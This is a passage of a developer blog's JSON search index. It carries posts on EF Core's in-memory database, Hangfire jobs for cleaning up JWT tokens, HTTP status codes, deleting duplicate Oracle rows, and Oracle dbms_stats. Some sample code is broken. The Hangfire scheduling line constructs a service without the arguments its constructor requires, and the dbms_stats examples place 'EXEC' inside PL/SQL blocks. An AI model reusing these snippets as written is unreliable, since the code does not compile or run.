#whitehat"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/sql-injection\/","section":"Tags","summary":"","title":"Sql-Injection"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/dotnet-core\/","section":"Tags","summary":"","title":"DotNet Core"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/entity-framework-core\/","section":"Tags","summary":"","title":"Entity Framework Core"},{"content":"One of the useful features of EF Core is the In-Memory Database Provider, which is perfect for testing purposes. In this guide, we will walk through setting up EF Core with an in-memory database, demonstrating how to configure and use it effectively.\nStep-by-Step Guide #Start by creating a new .NET console using the .NET CLI and add the required packages.\ndotnet new console -n EfCoreInMemoryDemo cd EfCoreInMemoryDemo dotnet add package Microsoft.EntityFrameworkCore dotnet add package Microsoft.EntityFrameworkCore.InMemory Create a simple model class.\npublic class Product { public int Id { get; set; } public string Name { get; set; } public decimal Price { get; set; } } Define a DbContext class to manage your entities.\npublic class AppDbContext : DbContext { public DbSet&lt;Product&gt; Products { get; set; } protected override void OnConfiguring( DbContextOptionsBuilder optionsBuilder) { optionsBuilder.UseInMemoryDatabase(&#34;TestDb&#34;); } } In your Program.cs, use the DbContext to perform database operations.\nusing var context = new AppDbContext(); \/\/ Add a new product context.Products.Add(new Product { Name = &#34;Example Product&#34;, Price = 9.99m }); context.SaveChanges(); \/\/ Query the product var product = context.Products.First(); var msg = $&#34;Product retrieved: {product.Name} - ${product.Price}&#34;; Console.WriteLine(msg); Conclusion #Setting up EF Core with an in-memory database is a straightforward process that can significantly enhance your testing capabilities by providing a quick and easy way to simulate database operations without the overhead of a full database setup. This setup is ideal for unit tests, allowing you to test your data access code in isolation.\nWith these steps, you can now efficiently configure and use EF Core&rsquo;s in-memory database for your .NET projects.\n","date":"July 4, 2024","permalink":"https:\/\/rmauro.dev\/set-up-entity-framework-core-in-memory-store\/","section":"Posts","summary":"<p>One of the useful features of EF Core is the In-Memory Database Provider, which is perfect for testing purposes. In this guide, we will walk through setting up EF Core with an in-memory database, demonstrating how to configure and use it effectively.<\/p>\n<h2 id=\"step-by-step-guide\" class=\"relative group\">Step-by-Step Guide <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#step-by-step-guide\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Start by creating a new .NET console using the .NET CLI and add the required packages.<\/p>","title":"Set up Entity Framework Core In Memory Database Provider"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/hangfire\/","section":"Tags","summary":"","title":"Hangfire"},{"content":"Hangfire is a robust library for managing background jobs in .NET applications, allowing developers to easily create and manage tasks that run asynchronously.\nWhether you&rsquo;re scheduling recurring tasks, executing one-off jobs, or managing time-consuming operations without blocking the main thread, Hangfire provides a flexible and reliable solution. In this article, we&rsquo;ll walk through setting up Hangfire to automatically clean up expired JWT tokens from a database, ensuring your authentication system remains efficient and secure.\nRequirements #Before we dive into the implementation, make sure you have the following:\nAt least .NET 6.0 SDK installed A basic understanding of .NET and C# A running SQL Server instance Visual Studio or any preferred C# IDE Setting Up the Project #Open your terminal or command prompt and run the following commands to create a new .NET web application:\ndotnet new webapi -n HangfireBackgroundJob cd HangfireBackgroundJob Install Hangfire #Add Hangfire and its SQL Server storage package to your project:\ndotnet add package Hangfire dotnet add package Hangfire.SqlServer Configure Hangfire #Open Startup.cs (or Program.cs if you&rsquo;re using the new minimal hosting model) and configure Hangfire in the ConfigureServices method:\npublic void ConfigureServices(IServiceCollection services) { services.AddControllers(); \/\/ Configure Hangfire to use SQL Server storage services.AddHangfire(configuration =&gt; configuration.SetDataCompatibilityLevel(CompatibilityLevel.Version_170) .UseSimpleAssemblyNameTypeSerializer() .UseRecommendedSerializerSettings() .UseSqlServerStorage(&#34;Server=your_server;Database=your_database;User Id=your_user;Password=your_password;&#34;, new SqlServerStorageOptions { CommandBatchMaxTimeout = TimeSpan.FromMinutes(5), SlidingInvisibilityTimeout = TimeSpan.FromMinutes(5), QueuePollInterval = TimeSpan.FromSeconds(15), UseRecommendedIsolationLevel = true, DisableGlobalLocks = true })); services.AddHangfireServer(); } public void Configure(IApplicationBuilder app, IWebHostEnvironment env) { if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } app.UseRouting(); app.UseAuthorization(); \/\/ Use Hangfire Dashboard (optional for monitoring jobs) app.UseHangfireDashboard(); app.UseEndpoints(endpoints =&gt; { endpoints.MapControllers(); }); } Creating the Background Job #Now, let&rsquo;s create a background job that deletes expired JWT tokens from the database.\nCreate a Service for Token Cleanup\nFirst, create a service that will handle the token cleanup logic. Add a new class called TokenCleanupService.cs:\nusing System; using System.Linq; using System.Threading.Tasks; using Microsoft.Extensions.Logging; using Microsoft.EntityFrameworkCore; public sealed class TokenCleanupService { private readonly ApplicationDbContext _context; private readonly ILogger&lt;TokenCleanupService&gt; _logger; public TokenCleanupService(ApplicationDbContext context, ILogger&lt;TokenCleanupService&gt; logger) { _context = context; _logger = logger; } public async Task CleanUpExpiredTokensAsync() { var expiredTokens = await _context.JwtTokens .Where(t =&gt; t.ExpirationDate &lt; DateTime.UtcNow) .ToListAsync(); if (expiredTokens.Any()) { _context.JwtTokens.RemoveRange(expiredTokens); await _context.SaveChangesAsync(); _logger.LogInformation(&#34;Deleted {count} expired tokens.&#34;, expiredTokens.Count); } } } Schedule the Background Job\nOpen Startup.cs or Program.cs and schedule the background job using Hangfire:\npublic void Configure(IApplicationBuilder app, IWebHostEnvironment env, IRecurringJobManager recurringJobManager) { if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } app.UseRouting(); app.UseAuthorization(); app.UseHangfireDashboard(); app.UseEndpoints(endpoints =&gt; { endpoints.MapControllers(); }); \/\/ Schedule the token cleanup job to run daily at midnight recurringJobManager.AddOrUpdate( &#34;TokenCleanup&#34;, () =&gt; new TokenCleanupService().CleanUpExpiredTokensAsync(), Cron.Daily); } Running and Monitoring the Job #Start your application by running\ndotnet run Navigate to http:\/\/localhost:5000\/hangfire to view the Hangfire Dashboard and monitor your jobs.\nVerify the Job Execution\nCheck your database to ensure expired tokens are being deleted as expected. You can also view the job logs in the Hangfire Dashboard to verify successful execution.\nConclusion #Using Hangfire to manage background jobs in a .NET application is a straightforward and efficient way to handle tasks that need to run asynchronously.\nIn this hands-on guide, we&rsquo;ve set up a Hangfire project and created a background job to clean up expired JWT tokens from a database.\nThis ensures that your authentication system remains clean and performant without blocking your application&rsquo;s main thread. Hangfire&rsquo;s flexibility and ease of use make it an excellent choice for managing background tasks in any .NET application.\n","date":"July 1, 2024","permalink":"https:\/\/rmauro.dev\/implementing-background-jobs-with-hangfire-a-hands-on-guide\/","section":"Posts","summary":"<p>Hangfire is a robust library for managing background jobs in .NET applications, allowing developers to easily create and manage tasks that run asynchronously.<\/p>\n<p>Whether you&rsquo;re scheduling recurring tasks, executing one-off jobs, or managing time-consuming operations without blocking the main thread, Hangfire provides a flexible and reliable solution. In this article, we&rsquo;ll walk through setting up Hangfire to automatically clean up expired JWT tokens from a database, ensuring your authentication system remains efficient and secure.<\/p>","title":"Hangfire Implementing Background Jobs"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/http\/","section":"Tags","summary":"","title":"Http"},{"content":"HTTP status code 400, known as &ldquo;Bad Request,&rdquo; indicates that the server cannot process the client&rsquo;s request due to client-side errors. These errors can include malformed request syntax, invalid request message framing, or deceptive request routing.\nA common scenario for a 400 status code is when the client sends a request with incorrect parameters, such as an invalid query string or body data that doesn&rsquo;t conform to the expected format. This response helps in debugging issues during API development, signaling the need to correct the request before resubmission.\nIn summary, a 400 status code highlights issues with the client&rsquo;s request, ensuring proper request formatting and validity.\n","date":"June 28, 2024","permalink":"https:\/\/rmauro.dev\/400-bad-request\/","section":"Posts","summary":"<p>HTTP status code 400, known as &ldquo;Bad Request,&rdquo; indicates that the server cannot process the client&rsquo;s request due to client-side errors. These errors can include malformed request syntax, invalid request message framing, or deceptive request routing.<\/p>\n<p>A common scenario for a 400 status code is when the client sends a request with incorrect parameters, such as an invalid query string or body data that doesn&rsquo;t conform to the expected format. This response helps in debugging issues during API development, signaling the need to correct the request before resubmission.<\/p>","title":"HTTP 400 Bad Request"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/http-400\/","section":"Tags","summary":"","title":"Http-400"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/http-status-code\/","section":"Tags","summary":"","title":"Http-Status-Code"},{"content":"HTTP status code 403, or &ldquo;Forbidden,&rdquo; indicates that the server understands the client&rsquo;s request but refuses to authorize it. Unlike a 401 status code, which signifies missing or invalid authentication, a 403 status means that the client&rsquo;s credentials are recognized but they do not have permission to access the requested resource.\nThis status is often encountered when a user tries to access a restricted area of a website or an API endpoint for which they lack the necessary privileges. For example, a regular user might receive a 403 response when attempting to access an admin panel.\nIn essence, a 403 status code enforces access control, ensuring that only authorized users can access specific resources.\n","date":"June 28, 2024","permalink":"https:\/\/rmauro.dev\/http-403-forbidden\/","section":"Posts","summary":"<p>HTTP status code 403, or &ldquo;Forbidden,&rdquo; indicates that the server understands the client&rsquo;s request but refuses to authorize it. Unlike a 401 status code, which signifies missing or invalid authentication, a 403 status means that the client&rsquo;s credentials are recognized but they do not have permission to access the requested resource.<\/p>\n<p>This status is often encountered when a user tries to access a restricted area of a website or an API endpoint for which they lack the necessary privileges. For example, a regular user might receive a 403 response when attempting to access an admin panel.<\/p>","title":"HTTP 403 Forbidden"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/http-403\/","section":"Tags","summary":"","title":"Http-403"},{"content":"HTTP status code 401, also known as &ldquo;Unauthorized,&rdquo; is a crucial response status in web development and API communications.\nIt indicates that the client&rsquo;s request has not been fulfilled because it lacks valid authentication credentials.\nA typical scenario involving a 401 status code is when accessing a protected endpoint in a REST API. The client needs to include a valid token or API key in the request headers. If this authentication token is expired, invalid, or absent, the server will deny access, returning a 401 response.\nIt&rsquo;s important to note that a 401 status code is different from a 403 status code, which means &ldquo;Forbidden.&rdquo; While 401 indicates a lack of proper authentication, 403 signifies that the server understood the request but refuses to authorize it, even if valid credentials are provided.\nIn summary, HTTP status code 401 serves as a security measure, ensuring that only authenticated clients can access certain resources, thereby protecting sensitive data and functionalities.\n","date":"June 28, 2024","permalink":"https:\/\/rmauro.dev\/http-401-unauthorized\/","section":"Posts","summary":"<p>HTTP status code 401, also known as &ldquo;Unauthorized,&rdquo; is a crucial response status in web development and API communications.<\/p>\n<p>It indicates that the client&rsquo;s request has not been fulfilled because it lacks valid authentication credentials.<\/p>\n<p>A typical scenario involving a 401 status code is when accessing a protected endpoint in a REST API. The client needs to include a valid token or API key in the request headers. If this authentication token is expired, invalid, or absent, the server will deny access, returning a 401 response.<\/p>","title":"HTTP 401 Unauthorized"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/http-401\/","section":"Tags","summary":"","title":"Http-401"},{"content":"Let&rsquo;s explore a one effective method to remove duplicate rows from an Oracle table.\nDuplicate data can be a common problem when working with databases, and it&rsquo;s crucial to eliminate such redundancy to ensure data accuracy and improve query performance.\nUsing this simple query we can find and DELETE duplicate rows from Oracle TABLE.\nDELETE FROM your_table WHERE rowid NOT IN ( SELECT MIN(rowid) FROM your_table GROUP BY column1 , column2 , column3 ); Removing Duplicates Generic Solution\nThis solution uses the GROUP BY clause, which clusters the records based on the uniqueness of specified columns. Selecting the MIN(rowid) for each group, we ensure that one original record remains, while the rest are deleted.\nExample Using a Dummy Table #Here is our sample table.\nID FIRST_NAME LAST_NAME DEPT_ID 1 John Doe 101 2 Jane Smith 102 3 John Doe 101 4 Alex Johnson 103 5 Jane Smith 102 To remove the duplicates from this table we simply execute the following SQL.\nDELETE FROM EMPLOYEE WHERE ROWID NOT IN ( SELECT MIN(ROWID) FROM EMPLOYEE GROUP BY FIRST_NAME , LAST_NAME , DEPT_ID ) Stay tuned for more insights and tips to keep your Oracle databases lean and performant!\n","date":"June 27, 2024","permalink":"https:\/\/rmauro.dev\/oracle-remove-duplicate-from-table\/","section":"Posts","summary":"<p>Let&rsquo;s explore a one effective method to remove duplicate rows from an Oracle table.<\/p>\n<p>Duplicate data can be a common problem when working with databases, and it&rsquo;s crucial to eliminate such redundancy to ensure data accuracy and improve query performance.<\/p>\n<p>Using this simple query we can find and <strong>DELETE<\/strong> duplicate rows from Oracle TABLE.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-sql\" data-lang=\"sql\"><span class=\"line\"><span class=\"cl\"><span class=\"k\">DELETE<\/span><span class=\"w\"> <\/span><span class=\"k\">FROM<\/span><span class=\"w\"> <\/span><span class=\"n\">your_table<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">WHERE<\/span><span class=\"w\"> <\/span><span class=\"n\">rowid<\/span><span class=\"w\"> <\/span><span class=\"k\">NOT<\/span><span class=\"w\"> <\/span><span class=\"k\">IN<\/span><span class=\"w\"> \n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">(<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">    <\/span><span class=\"k\">SELECT<\/span><span class=\"w\"> <\/span><span class=\"k\">MIN<\/span><span class=\"p\">(<\/span><span class=\"n\">rowid<\/span><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">    <\/span><span class=\"k\">FROM<\/span><span class=\"w\"> <\/span><span class=\"n\">your_table<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">    <\/span><span class=\"k\">GROUP<\/span><span class=\"w\"> <\/span><span class=\"k\">BY<\/span><span class=\"w\"> <\/span><span class=\"n\">column1<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">    \t   <\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">column2<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">           <\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">column3<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">);<\/span><span class=\"w\">\n<\/span><\/span><\/span><\/code><\/pre><\/div><p>Removing Duplicates Generic Solution<\/p>","title":"Oracle Remove Duplicate from Table"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/oracle-sql\/","section":"Tags","summary":"","title":"Oracle-Sql"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/sql\/","section":"Tags","summary":"","title":"Sql"},{"content":"HTTP (Hypertext Transfer Protocol) status codes are three-digit numbers returned by web servers (such as Apache, IIS, Nginx, Kestrel, among others) to indicate the outcome of a client\u2019s request.\nThese codes serve as communication tools between web clients (usually browsers and mobile applications) and servers about the outcome of the HTTP request.\nLet\u2019s discuss HTTP status codes in a developer\u2019s context \ufe0f\ud83d\udd28.\nWhen to Use Them # Whenever a client makes a request (e.g. fetching a webpage or submitting a form), the server responds with an appropriate status code Use them to indicate whether the request succeeded, encountered an error, or needs further action Why They Matter # Status codes help us troubleshoot issues. When something goes wrong (e.g. a broken link or server error), these codes provide clues They guide our decision-making. For instance, a 404 (Not Found) tells us a resource isn\u2019t available, so we can handle it gracefully How to Use Them # As developers, we encounter status codes when building APIs, handling requests, or designing error pages. Understanding their meanings helps us create robust, user-friendly applications. Table of Contents # Status Ranges Most used Status Codes Common Status Codes All HTTP Status Code List Status Ranges #Status codes are grouped into five ranges, each with a specific meaning:\n1xx (Informational): These codes indicate that the request has been received and the server is continuing to process it. 2xx (Successful): These codes signify that the request was successful or that the server accepted it. 3xx (Redirection): These codes indicate that the client must take additional actions to complete the request (e.g., follow a redirection). 4xx (Client Errors): These codes indicate that the client (browser) made an error or requested a resource that doesn\u2019t exist. 5xx (Server Errors): These codes indicate that the server encountered an issue while processing the request. Understanding these ranges helps diagnose issues during web development.\nMost used Status Codes #Let\u2019s explore some frequently encountered status codes.\n200 OK: The server successfully processed the request and returned the requested resource 404 Not Found: The requested resource does not exist on the server 500 Internal Server Error: An unexpected condition occurred on the server Common Status Codes # 201 Created: This status code indicates that the server has successfully created a new resource as a result of the client\u2019s request 302 Found (or 301 Moved Permanently): Used for redirection (temporary or permanent) 400 Bad Request: When the client sends a malformed or invalid request (e.g., missing required parameters or incorrect data format), the server responds with a 400 status code 401 Unauthorized: As mentioned earlier, this code indicates that the client lacks proper authentication to access a resource 403 Forbidden: Unlike 401, which implies authentication failure, a 403 status code means that the client is authenticated but doesn\u2019t have permission to access the requested resource 429 Too Many Requests: When a client exceeds the rate limit (e.g., making too many requests in a short time), the server responds with a 429 status code All HTTP Status Code List #Informational Responses (100\u2013199) # 100 Continue: The client should continue the request or ignore the response if the request is already finished 101 Switching Protocols: Sent in response to an Upgrade request header from the client, indicating the protocol the server is switching to 102 Processing (WebDAV): Indicates that the server has received and is processing the request, but no response is available yet 103 Early Hints: Primarily used with the Link header, allowing preloading resources while the server prepares a response or pre-connects to an origin Successful Responses (200\u2013299) # 200 OK: The request succeeded. The meaning of \u201csuccess\u201d depends on the HTTP method:W\n- GET: The resource has been fetched and transmitted in the message body\n- HEAD: Representation headers are included in the response without a message body\n- PUT or POST: The resource describing the result of the action is transmitted in the message body\n- TRACE: The message body contains the request message as received by the server 201 Created: A new resource was successfully created as a result of the request (typically after POST or some PUT requests) 202 Accepted: The request has been received but not yet acted upon. It\u2019s noncommittal, often used for batch processing or when another process handles the request 203 Non-Authoritative Information: Returned metadata differs from the origin server but is collected from a local or third-party copy 204 No Content: No content to send, but headers may be useful for caching 205 Reset Content: Instructs the user agent to reset the document that sent the request 206 Partial Content: Used when the Range header requests only part of a resource 207 Multi-Status (WebDAV): Conveys information about multiple resources Redirection Messages (300\u2013399) # 300 Multiple Choices: Indicates multiple options for the requested resource 301 Moved Permanently: The requested resource has moved permanently to a new location 302 Found (or 303 See Other): Temporary redirection 304 Not Modified: The client\u2019s cached version of the resource is still valid 307 Temporary Redirect (or 308 Permanent Redirect): Similar to 302 but preserves the original request method Client Error Responses (400\u2013499) # 400 Bad Request: The client sent a malformed or invalid request 401 Unauthorized: Authentication is required, and the client lacks proper credentials 403 Forbidden: Authenticated client lacks permission to access the resource 404 Not Found: The requested resource does not exist 429 Too Many Requests: Client exceeded the rate limit Server Error Responses (500\u2013599) # 500 Internal Server Error: An unexpected condition occurred on the server 502 Bad Gateway: The server, while acting as a gateway or proxy, received an invalid response from an upstream server 503 Service Unavailable: The server cannot handle the request due to temporary overloading or maintenance 504 Gateway Timeout: The server, acting as a gateway or proxy, did not receive a timely response from an upstream server 599 Network Connect Timeout Error: The network connection has timed out Remember, these codes play a crucial role in web communication, and understanding them empowers developers to build robust applications. If you need further details or have more questions, feel free to ask!\nRemember to consult the official HTTP specification for a complete list of status codes and their meanings \ud83d\ude0a\ud83d\ude80\n","date":"June 26, 2024","permalink":"https:\/\/rmauro.dev\/http-status-codes-explained-from-200-ok-to-429-too-many-requests\/","section":"Posts","summary":"<p>HTTP (Hypertext Transfer Protocol) status codes are three-digit numbers returned by web servers (such as Apache, IIS, Nginx, Kestrel, among others) to indicate the outcome of a client\u2019s request.<\/p>\n<p>These codes serve as communication tools between web clients (usually browsers and mobile applications) and servers about the outcome of the HTTP request.<\/p>\n<p>Let\u2019s discuss HTTP status codes in a developer\u2019s context \ufe0f\ud83d\udd28.<\/p>\n<h4 id=\"when-to-use-them\" class=\"relative group\">When to Use Them <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#when-to-use-them\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><ul>\n<li>Whenever a client makes a request (e.g. fetching a webpage or submitting a form), the server responds with an appropriate status code<\/li>\n<li>Use them to indicate whether the request succeeded, encountered an error, or needs further action<\/li>\n<\/ul>\n<h4 id=\"why-they-matter\" class=\"relative group\">Why They Matter <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#why-they-matter\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><ul>\n<li>Status codes help us troubleshoot issues. When something goes wrong (e.g. a broken link or server error), these codes provide clues<\/li>\n<li>They guide our decision-making. For instance, a 404 (Not Found) tells us a resource isn\u2019t available, so we can handle it gracefully<\/li>\n<\/ul>\n<h4 id=\"how-to-use-them\" class=\"relative group\">How to Use Them <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#how-to-use-them\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><ul>\n<li>As developers, we encounter status codes when building APIs, handling requests, or designing error pages.<\/li>\n<li>Understanding their meanings helps us create robust, user-friendly applications.<\/li>\n<\/ul>\n<h2 id=\"table-of-contents\" class=\"relative group\">Table of Contents <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#table-of-contents\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"#status-ranges\">Status Ranges<\/a><\/li>\n<li><a href=\"#most-used-status-codes\">Most used Status Codes<\/a><\/li>\n<li><a href=\"#common-status-codes\">Common Status Codes<\/a><\/li>\n<li><a href=\"#all-http-status-code-list\">All HTTP Status Code List<\/a><\/li>\n<\/ul>\n<h2 id=\"status-ranges\" class=\"relative group\">Status Ranges <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#status-ranges\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Status codes are grouped into five ranges, each with a specific meaning:<\/p>","title":"HTTP Status Codes Explained: From 200 OK to 429 Too Many Requests"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/web\/","section":"Tags","summary":"","title":"Web"},{"content":"In Oracle databases, maintaining up-to-date statistics is crucial for optimal query performance. The dbms_stats package is a powerful tool that helps database administrators gather and manage these statistics for schemas, tables, and indexes.\nIn this guide, we will walk you through the essential steps to effectively use dbms_stats to collect accurate Oracle database statistics, ensuring that your database performs at its best.\nWhether you&rsquo;re optimizing a large enterprise database or fine-tuning a smaller environment, this tutorial will provide you with the knowledge you need to manage Oracle stats with confidence.\n\ud83d\udc53 Table of Contents # Gather Schema Stats Gather Table Stats Gather Index Stats Gather Database Stats Gather Schema Stats with GATHER_SCHEMA_STATS #To collect statistics for an entire schema, use the following command.\nBEGIN -- GATHER STATS FROM SCHEMA USING DEFAULT OPTIONS EXEC DBMS_STATS.GATHER_SCHEMA_STATS(&#39;SCHEMA_NAME&#39;); END; Using the GATHER_SCHEMA_STATS command\nConsiderations # For partitioned tables, use CASCADE=&gt;TRUE to gather statistics for all partitions Full Syntax of GATHER_SCHEMA_STATS #DBMS_STATS.GATHER_SCHEMA_STATS ( ownname VARCHAR2, estimate_percent NUMBER DEFAULT to_estimate_percent_type (get_param(&#39;ESTIMATE_PERCENT&#39;)), block_sample BOOLEAN DEFAULT FALSE, method_opt VARCHAR2 DEFAULT get_param(&#39;METHOD_OPT&#39;), degree NUMBER DEFAULT to_degree_type(get_param(&#39;DEGREE&#39;)), granularity VARCHAR2 DEFAULT GET_PARAM(&#39;GRANULARITY&#39;), cascade BOOLEAN DEFAULT to_cascade_type(get_param(&#39;CASCADE&#39;)), stattab VARCHAR2 DEFAULT NULL, statid VARCHAR2 DEFAULT NULL, options VARCHAR2 DEFAULT &#39;GATHER&#39;, objlist OUT ObjectTab, statown VARCHAR2 DEFAULT NULL, no_invalidate BOOLEAN DEFAULT to_no_invalidate_type ( get_param(&#39;NO_INVALIDATE&#39;)), force BOOLEAN DEFAULT FALSE, obj_filter_list ObjectTab DEFAULT NULL); Syntax of GATHER_SCHEMA_STATS\n#Gather Table Stats with GATHER_TABLE_STATS #To gather statistics of individual tables use the following command.\nBEGIN EXEC DBMS_STATS.GATHER_TABLE_STATS( ownname =&gt; &#39;SCHEMA_NAME&#39;, tabname =&gt; &#39;TABLE_NAME&#39; ); END; Using the GATHER_TABLE_STATS command\nConsiderations # Small tables: Use a larger sample size Large tables: Consider parallelism and incremental statistics Full Syntax of GATHER_TABLE_STATS #DBMS_STATS.GATHER_TABLE_STATS ( ownname VARCHAR2, tabname VARCHAR2, partname VARCHAR2 DEFAULT NULL, estimate_percent NUMBER DEFAULT to_estimate_percent_type (get_param(&#39;ESTIMATE_PERCENT&#39;)), block_sample BOOLEAN DEFAULT FALSE, method_opt VARCHAR2 DEFAULT get_param(&#39;METHOD_OPT&#39;), degree NUMBER DEFAULT to_degree_type(get_param(&#39;DEGREE&#39;)), granularity VARCHAR2 DEFAULT GET_PARAM(&#39;GRANULARITY&#39;), cascade BOOLEAN DEFAULT to_cascade_type(get_param(&#39;CASCADE&#39;)), stattab VARCHAR2 DEFAULT NULL, statid VARCHAR2 DEFAULT NULL, statown VARCHAR2 DEFAULT NULL, no_invalidate BOOLEAN DEFAULT to_no_invalidate_type ( get_param(&#39;NO_INVALIDATE&#39;)), stattype VARCHAR2 DEFAULT &#39;DATA&#39;, force BOOLEAN DEFAULT FALSE, context DBMS_STATS.CCONTEXT DEFAULT NULL, -- non operative options VARCHAR2 DEFAULT get_param(&#39;OPTIONS&#39;)); Syntax of GATHER_TABLE_STATS\nGather Index Stats with GATHER_INDEX_STATS #To gather Indexes statistics use the following command.\nBEGIN EXEC DBMS_STATS.GATHER_INDEX_STATS( ownname =&gt; &#39;SCHEMA_NAME&#39;, indname =&gt; &#39;INDEX_NAME&#39; ); END; \/ Using the GATHER_INDEX_STATS command\nConsiderations # Unique indexes: Gather statistics for uniqueness checks Bitmap indexes: Handle them differently due to their nature Full Syntax of GATHER_INDEX_STATS #DBMS_STATS.GATHER_INDEX_STATS ( ownname VARCHAR2, indname VARCHAR2, partname VARCHAR2 DEFAULT NULL, estimate_percent NUMBER DEFAULT to_estimate_percent_type (GET_PARAM(&#39;ESTIMATE_PERCENT&#39;)), stattab VARCHAR2 DEFAULT NULL, statid VARCHAR2 DEFAULT NULL, statown VARCHAR2 DEFAULT NULL, degree NUMBER DEFAULT to_degree_type(get_param(&#39;DEGREE&#39;)), granularity VARCHAR2 DEFAULT GET_PARAM(&#39;GRANULARITY&#39;), no_invalidate BOOLEAN DEFAULT to_no_invalidate_type (GET_PARAM(&#39;NO_INVALIDATE&#39;)), force BOOLEAN DEFAULT FALSE); Syntax of GATHER_INDEX_STATS\nGather Stats for Database with GATHER_DATABASE_STATS #To gather whole database statistics use the following command.\nBEGIN DBMS_STATS.GATHER_DATABASE_STATS; END; \/ Using the GATHER_DATABASE_STATS command\nFull Syntax of GATHER_DATABASE_STATS #DBMS_STATS.GATHER_DATABASE_STATS ( estimate_percent NUMBER DEFAULT to_estimate_percent_type (get_param(&#39;ESTIMATE_PERCENT&#39;)), block_sample BOOLEAN DEFAULT FALSE, method_opt VARCHAR2 DEFAULT get_param(&#39;METHOD_OPT&#39;), degree NUMBER DEFAULT to_degree_type(get_param(&#39;DEGREE&#39;)), granularity VARCHAR2 DEFAULT GET_PARAM(&#39;GRANULARITY&#39;), cascade BOOLEAN DEFAULT to_cascade_type(get_param(&#39;CASCADE&#39;)), stattab VARCHAR2 DEFAULT NULL, statid VARCHAR2 DEFAULT NULL, options VARCHAR2 DEFAULT &#39;GATHER&#39;, objlist OUT ObjectTab, statown VARCHAR2 DEFAULT NULL, gather_sys BOOLEAN DEFAULT TRUE, no_invalidate BOOLEAN DEFAULT to_no_invalidate_type ( get_param(&#39;NO_INVALIDATE&#39;)), obj_filter_list ObjectTab DEFAULT NULL); DBMS_STATS.GATHER_DATABASE_STATS ( estimate_percent NUMBER DEFAULT to_estimate_percent_type (get_param(&#39;ESTIMATE_PERCENT&#39;)), block_sample BOOLEAN DEFAULT FALSE, method_opt VARCHAR2 DEFAULT get_param(&#39;METHOD_OPT&#39;), degree NUMBER DEFAULT to_degree_type(get_param(&#39;DEGREE&#39;)), granularity VARCHAR2 DEFAULT GET_PARAM(&#39;GRANULARITY&#39;), cascade BOOLEAN DEFAULT to_cascade_type(get_param(&#39;CASCADE&#39;)), stattab VARCHAR2 DEFAULT NULL, statid VARCHAR2 DEFAULT NULL, options VARCHAR2 DEFAULT &#39;GATHER&#39;, statown VARCHAR2 DEFAULT NULL, gather_sys BOOLEAN DEFAULT TRUE, no_invalidate BOOLEAN DEFAULT to_no_invalidate_type ( get_param(&#39;NO_INVALIDATE&#39;)), obj_filter_list ObjectTab DEFAULT NULL); Syntax of GATHER_DATABASE_STATS\nConclusion #Gathering statistics is not just a routine task\u2014it\u2019s a critical part of maintaining a healthy database. By following best practices and understanding the nuances, you\u2019ll ensure optimal query performance.\nFor further details check the official documentation.\nRemember to apply these techniques in your database environment, and happy querying! \ud83d\ude80\n","date":"June 25, 